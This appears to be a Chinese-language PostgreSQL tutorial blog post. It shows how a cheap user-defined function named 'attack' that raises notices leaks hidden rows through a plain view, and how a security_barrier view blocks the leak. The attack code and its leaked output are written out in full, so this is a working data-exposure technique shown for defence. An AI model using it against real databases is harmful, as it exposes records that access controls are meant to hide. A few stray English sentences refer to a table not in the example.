PostgreSQL views privilege attack and security with security_barrier(视图攻击)

5 minute read

背景

数据库中一般可以使用视图来规避用户的访问数据的范围, 但是要注意, 即使使用了视图, 也不一定能规避访问.

例如带where条件的视图就有可能被攻击者利用执行树先执行成本低后执行成本高的规则, 使用低成本函数的raise窃取本来不应该看到的信息.

正文

举例如下 :

创建测试表, 插入测试数据.

digoal=# create table userinfo(id int, groupid int, username text, age int, addr text, email text, phone text);  
CREATE TABLE  
digoal=# insert into userinfo values (1, 1, 'digoal', 1000, '杭州西湖区', 'digoal@126.com', '13999999999');  
INSERT 0 1  
digoal=# insert into userinfo values (2, 1, 'test', 1000, '火星', 'digoal@126.com', '11999999999');  
INSERT 0 1  
digoal=# insert into userinfo values (3, 1, 'test', 1000, '月球', 'digoal@126.com', '11999999999');  
INSERT 0 1  
digoal=# insert into userinfo values (4, 2, 'test', 1000, '土星', 'digoal@126.com', '11999999999');  
INSERT 0 1  

创建一个视图, 仅仅可以查看groupid=2的数据.

digoal=# create view v_userinfo as select * from userinfo where groupid =2;  
CREATE VIEW  

使用普通用户查看表和视图, 现在没有权限查看.

digoal=# \c digoal digoal  
You are now connected to database "digoal" as user "digoal".  
digoal=> select * from userinfo;  
ERROR:  permission denied for relation userinfo  
digoal=> select * from v_userinfo;  
ERROR:  permission denied for relation v_userinfo  

分配视图的查询权限给普通用户

digoal=> \c digoal postgres  
You are now connected to database "digoal" as user "postgres".  
digoal=# grant select on v_userinfo to digoal;  
GRANT  

现在普通用户不能直接访问表, 但是可以访问视图了.

digoal=# \c digoal digoal  
You are now connected to database "digoal" as user "digoal".  
digoal=> select * from userinfo ;  
ERROR:  permission denied for relation userinfo  

看起来普通用户只能访问groupid=2的数据.

digoal=> select * from v_userinfo ;  
 id | groupid | username | age  | addr |     email      |    phone      
----+---------+----------+------+------+----------------+-------------  
  4 |       2 | test     | 1000 | 土星 | digoal@126.com | 11999999999  
(1 row)  

但是利用以下方法, 欺骗rule, 得到不应该看到的数据.

digoal=> create or replace function attack(int,int,text,int,text,text,text) returns boolean as $$  
declare  
begin  
  raise notice '%,%,%,%,%,%,%', $1,$2,$3,$4,$5,$6,$7;  
  return true;  
end;  
$$ language plpgsql cost 0.00000000000000000000001;  
CREATE FUNCTION  
digoal=> select * from v_userinfo where attack(id,groupid,username,age,addr,email,phone);  
NOTICE:  1,1,digoal,1000,杭州西湖区,digoal@126.com,13999999999  
NOTICE:  2,1,test,1000,火星,digoal@126.com,11999999999  
NOTICE:  3,1,test,1000,月球,digoal@126.com,11999999999  
NOTICE:  4,2,test,1000,土星,digoal@126.com,11999999999  
 id | groupid | username | age  | addr |     email      |    phone      
----+---------+----------+------+------+----------------+-------------  
  4 |       2 | test     | 1000 | 土星 | digoal@126.com | 11999999999  
(1 row)  

从以上结果可以看到, 本来不应该看到的groupid=1的数据也被打印出来了.

而且执行计划并没有什么异样.

digoal=> explain (analyze,verbose,costs,buffers,timing) select * from v_userinfo where attack(id,groupid,username,age,addr,email,phone);  
NOTICE:  1,1,digoal,1000,杭州西湖区,digoal@126.com,13999999999  
NOTICE:  2,1,test,1000,火星,digoal@126.com,11999999999  
NOTICE:  3,1,test,1000,月球,digoal@126.com,11999999999  
NOTICE:  4,2,test,1000,土星,digoal@126.com,11999999999  
                                                                          QUERY PLAN                                                  
                            
------------------------------------------------------------------------------------------------------------------------------------  
--------------------------  
 Seq Scan on public.userinfo  (cost=0.00..16.00 rows=1 width=140) (actual time=0.090..0.091 rows=1 loops=1)  
   Output: userinfo.id, userinfo.groupid, userinfo.username, userinfo.age, userinfo.addr, userinfo.email, userinfo.phone  
   Filter: (attack(userinfo.id, userinfo.groupid, userinfo.username, userinfo.age, userinfo.addr, userinfo.email, userinfo.phone) AN  
D (userinfo.groupid = 2))  
   Rows Removed by Filter: 3  
   Buffers: shared hit=1  
 Total runtime: 0.113 ms  
(6 rows)  

那这是为什么呢?

Every person and phone number in the phone_data table will be printed as a NOTICE, because the planner will choose to execute the inexpensive tricky function before the more expensive NOT LIKE.

Even if the user is prevented from defining new functions, built-in functions can be used in similar attacks.

(For example, most casting functions include their input values in the error messages they produce.)

原因是PostgreSQL在生成执行树时, 先执行成本低的再执行成本高的. 在本例就是说先执行成本低的函数attack, 再执行成本高的groupid=2;

=的成本是多少怎么看 :

=在这里是指的哪个函数呢?

digoal=> select * from pg_operator where oprname='=' and oprleft=23 and oprright=23;  
 oprname | oprnamespace | oprowner | oprkind | oprcanmerge | oprcanhash | oprleft | oprright | oprresult | oprcom | oprnegate | oprc  
ode | oprrest |  oprjoin    
---------+--------------+----------+---------+-------------+------------+---------+----------+-----------+--------+-----------+-----  
----+---------+-----------  
 =       |           11 |       10 | b       | t           | t          |      23 |       23 |        16 |     96 |       518 | int4  
eq  | eqsel   | eqjoinsel  
(1 row)  

查看这个操作符的成本 :

digoal=> select * from pg_proc where proname='int4eq';  
-[ RECORD 1 ]---+-------  
proname         | int4eq  
pronamespace    | 11  
proowner        | 10  
prolang         | 12  
procost         | 1  
prorows         | 0  
provariadic     | 0  
protransform    | -  
proisagg        | f  
proiswindow     | f  
prosecdef       | f  
proleakproof    | t  
proisstrict     | t  
proretset       | f  
provolatile     | i  
pronargs        | 2  
pronargdefaults | 0  
prorettype      | 16  
proargtypes     | 23 23  
proallargtypes  |   
proargmodes     |   
proargnames     |   
proargdefaults  |   
prosrc          | int4eq  
probin          |   
proconfig       |   
proacl          |   

注意成本是real类型

digoal=> \d pg_proc  
         Table "pg_catalog.pg_proc"  
     Column      |     Type     | Modifiers   
-----------------+--------------+-----------  
 proname         | name         | not null  
 pronamespace    | oid          | not null  
 proowner        | oid          | not null  
 prolang         | oid          | not null  
 procost         | real         | not null  
 prorows         | real         | not null  
 provariadic     | oid          | not null  
 protransform    | regproc      | not null  
 proisagg        | boolean      | not null  
 proiswindow     | boolean      | not null  
 prosecdef       | boolean      | not null  
 proleakproof    | boolean      | not null  
 proisstrict     | boolean      | not null  
 proretset       | boolean      | not null  
 provolatile     | "char"       | not null  
 pronargs        | smallint     | not null  
 pronargdefaults | smallint     | not null  
 prorettype      | oid          | not null  
 proargtypes     | oidvector    | not null  
 proallargtypes  | oid[]        |   
 proargmodes     | "char"[]     |   
 proargnames     | text[]       |   
 proargdefaults  | pg_node_tree |   
 prosrc          | text         |   
 probin          | text         |   
 proconfig       | text[]       |   
 proacl          | aclitem[]    |   
Indexes:  
    "pg_proc_oid_index" UNIQUE, btree (oid)  
    "pg_proc_proname_args_nsp_index" UNIQUE, btree (proname, proargtypes, pronamespace)  

从以上查询可以看出本例的groupid=2中的=使用的是int4eq函数, 这个函数的cost=1;

所以只要attack函数的cost小于int4eq就肯定会被先执行.

digoal=> select * from v_userinfo where attack(id,groupid,username,age,addr,email,phone);  
NOTICE:  1,1,digoal,1000,杭州西湖区,digoal@126.com,13999999999  
NOTICE:  2,1,test,1000,火星,digoal@126.com,11999999999  
NOTICE:  3,1,test,1000,月球,digoal@126.com,11999999999  
NOTICE:  4,2,test,1000,土星,digoal@126.com,11999999999  
-[ RECORD 1 ]------------  
id       | 4  
groupid  | 2  
username | test  
age      | 1000  
addr     | 土星  
email    | digoal@126.com  
phone    | 11999999999  

将attack的成本改为1.1, 就不会先执行了.

digoal=> create or replace function attack(int,int,text,int,text,text,text) returns boolean as $$  
declare  
begin  
  raise notice '%,%,%,%,%,%,%', $1,$2,$3,$4,$5,$6,$7;  
  return true;  
end;  
$$ language plpgsql cost 1.1;  
CREATE FUNCTION  

改成1.1后, 显然不能查看到groupid<>2的数据了.

digoal=> select * from v_userinfo where attack(id,groupid,username,age,addr,email,phone);  
NOTICE:  4,2,test,1000,土星,digoal@126.com,11999999999  
-[ RECORD 1 ]------------  
id       | 4  
groupid  | 2  
username | test  
age      | 1000  
addr     | 土星  
email    | digoal@126.com  
phone    | 11999999999  

建立安全的视图, 使用security_barrier选项 :

digoal=# create view v_userinfo_1 with(security_barrier) as select * from userinfo where id=2;  
CREATE VIEW  
digoal=# grant select on v_userinfo_1 to digoal;  
GRANT  
digoal=# \c digoal digoal  
You are now connected to database "digoal" as user "digoal".  
digoal=> create or replace function attack(int,int,text,int,text,text,text) returns boolean as $$  
declare  
begin  
  raise notice '%,%,%,%,%,%,%', $1,$2,$3,$4,$5,$6,$7;  
  return true;  
end;  
$$ language plpgsql cost 0.1;  
CREATE FUNCTION  

查看非安全视图, 依旧欺骗.

digoal=> select * from v_userinfo where attack(id,groupid,username,age,addr,email,phone);  
NOTICE:  1,1,digoal,1000,杭州西湖区,digoal@126.com,13999999999  
NOTICE:  2,1,test,1000,火星,digoal@126.com,11999999999  
NOTICE:  3,1,test,1000,月球,digoal@126.com,11999999999  
NOTICE:  4,2,test,1000,土星,digoal@126.com,11999999999  
 id | groupid | username | age  | addr |     email      |    phone      
----+---------+----------+------+------+----------------+-------------  
  4 |       2 | test     | 1000 | 土星 | digoal@126.com | 11999999999  
(1 row)  

查看安全视图, 无法被欺骗了.

digoal=> select * from v_userinfo_1 where attack(id,groupid,username,age,addr,email,phone);  
NOTICE:  2,1,test,1000,火星,digoal@126.com,11999999999  
 id | groupid | username | age  | addr |     email      |    phone      
----+---------+----------+------+------+----------------+-------------  
  2 |       1 | test     | 1000 | 火星 | digoal@126.com | 11999999999  
(1 row)  

其他

1. 由于使用security_barriers选项后优化器不起作用, 只走seqscan, 是个巨大缺陷, PostgreSQL 9.4将新增Row-Level-Security补丁 . 规避这个问题.

参考

1. http://www.postgresql.org/docs/9.3/static/rules-privileges.html

2. http://blog.163.com/digoal@126/blog/static/163877040201362402650341/

Flag Counter

digoal’s 大量PostgreSQL文章入口